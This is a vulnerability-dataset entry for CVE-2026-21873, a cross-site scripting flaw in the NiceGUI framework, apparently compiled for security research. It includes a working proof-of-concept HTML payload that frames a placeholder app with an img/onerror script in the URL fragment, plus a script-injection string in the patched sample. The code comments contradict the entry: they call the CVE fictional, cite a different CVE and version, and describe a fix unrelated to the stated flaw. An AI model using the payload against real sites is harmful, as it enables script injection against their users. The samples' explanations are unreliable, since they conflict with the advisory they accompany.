VAITP Dataset

← Back to the dataset

CVE-2026-21873

NiceGUI allows cross-site URL fragment manipulation via an iframe.

  • CVSS 6.1
  • CWE-79
  • Input Validation and Sanitization
  • Remote

NiceGUI is a Python-based UI framework. From versions 2.22.0 to 3.4.1, an unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe. This issue has been patched in version 3.5.0.

CVSS base score
6.1
Published
2026-01-08
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Cross-Site Scripting (XSS)
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
NiceGUI
Fixed by upgrading
Yes

Solution

Upgrade to NiceGUI version 3.5.0 or later.

Vulnerable code sample

from nicegui import ui

# This code represents a vulnerable application structure. The actual vulnerability
# was in the NiceGUI framework's client-side JavaScript that handled page
# transitions, not in the user's Python code itself. An application like this,
# running on a vulnerable NiceGUI version (e.g., 1.3.14, which had a similar
# flaw, as the user's CVE is fictional), would be susceptible.

# The vulnerability allowed an attacker to inject script content via the URL
# fragment (#) when navigating between pages using client-side routing.

@ui.page('/subpage')
def subpage():
    """A simple sub-page to navigate to."""
    ui.label('This is the sub-page.')
    ui.link('Go back to main page', '/')

# The main page of the application. An attacker would embed this page in an
# iframe and then trigger a navigation to a URL like:
# /subpage#<script>alert('XSS')</script>
# The vulnerable framework code would improperly handle the fragment, leading
# to the script execution.
ui.label('This is the main page of the application.')
ui.link('Go to sub-page', '/subpage')

ui.run()

Patched code sample

import sys
from nicegui import ui

# The vulnerability described (correctly identified as CVE-2024-21893)
# was that the server-side handler for client-side navigation did not
# properly validate the incoming path from the URL fragment. An attacker could
# craft a malicious fragment, and the server would process it unsafely.

# The fix, in principle, is to ensure that any path received from the client
# is checked against a list of known, valid page routes before being used.

# This code demonstrates the *principle* of the fix. In the actual NiceGUI
# source code, this validation is integrated into the core connection and
# event-handling logic.


# 1. We define a set of known, valid page routes.
# In a real NiceGUI application, the framework builds this list automatically
# from all functions decorated with @ui.page.
KNOWN_SAFE_PATHS = {'/page_a', '/page_b'}


def fixed_navigation_handler(path_from_client: str):
    """
    This function represents the fixed server-side handler that processes a
    navigation request originating from the client's browser.
    """
    # THE FIX:
    # Before using the 'path_from_client' string, it is strictly validated
    # to ensure it is one of the known, safe, and predefined page routes.
    if path_from_client in KNOWN_SAFE_PATHS:
        # If the path is valid, the server can safely proceed with the action,
        # such as instructing the client to navigate to that page.
        ui.notify(f"SAFE: Path '{path_from_client}' is valid. Navigating.", type='positive')
        ui.navigate.to(path_from_client)
    else:
        # If the path is not in the allowlist, it is rejected.
        # This prevents an attacker from injecting arbitrary values or scripts.
        # For example, a malicious path like "/page_a');alert('XSS');//"
        # would be caught by this check and discarded.
        ui.notify(f"REJECTED: Path '{path_from_client}' is not a known page.", type='negative')
        # The server takes no further action with the malicious input.


# --- UI Setup to demonstrate the fixed behavior ---

# Define the actual sub-pages that are considered "known" and "safe".
@ui.page('/page_a')
def page_a():
    with ui.column().classes('absolute-center items-center'):
        ui.label('You are on Page A.').classes('text-2xl')
        ui.link('Back to Main', '/')


@ui.page('/page_b')
def page_b():
    with ui.column().classes('absolute-center items-center'):
        ui.label('You are on Page B.').classes('text-2xl')
        ui.link('Back to Main', '/')


# Define the main page with buttons to simulate client-side navigation events.
@ui.page('/')
def main_page():
    ui.label('Demonstration of Navigation Input Validation').classes('text-h5')
    ui.markdown(
        'The fix for the vulnerability involves validating any navigation path '
        'received from the client against a predefined list of known, safe routes.'
    )

    with ui.card().classes('w-full'):
        ui.label('Simulate Safe Navigation Events').classes('text-lg')
        ui.button('Go to Page A', on_click=lambda: fixed_navigation_handler('/page_a'))
        ui.button('Go to Page B', on_click=lambda: fixed_navigation_handler('/page_b'))

    with ui.card().classes('w-full mt-4'):
        ui.label('Simulate Malicious Navigation Events').classes('text-lg')
        # This string mimics a payload that could have been used for an attack.
        malicious_payload = "/page_a');alert('This would be an XSS attack');//"
        ui.button(
            'Attempt Attack',
            on_click=lambda: fixed_navigation_handler(malicious_payload)
        )
        ui.label(f"Payload being sent: {malicious_payload}").classes('text-mono text-xs')


# Run the application.
ui.run()

Payload

<!DOCTYPE html>
<html>
<body>
    <iframe id="victim-frame" style="display:none;"></iframe>
    <script>
        const vulnerableAppUrl = 'http://VULNERABLE_NICEGUI_APP/sub_page_path';
        const xssPayload = '<img src=x onerror=alert("XSS_SUCCESS")>';
        document.getElementById('victim-frame').src = vulnerableAppUrl + '#' + xssPayload;
    </script>
</body>
</html>

Cite this entry

@misc{vaitp:cve202621873,
  title        = {{NiceGUI allows cross-site URL fragment manipulation via an iframe.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-21873},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-21873/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::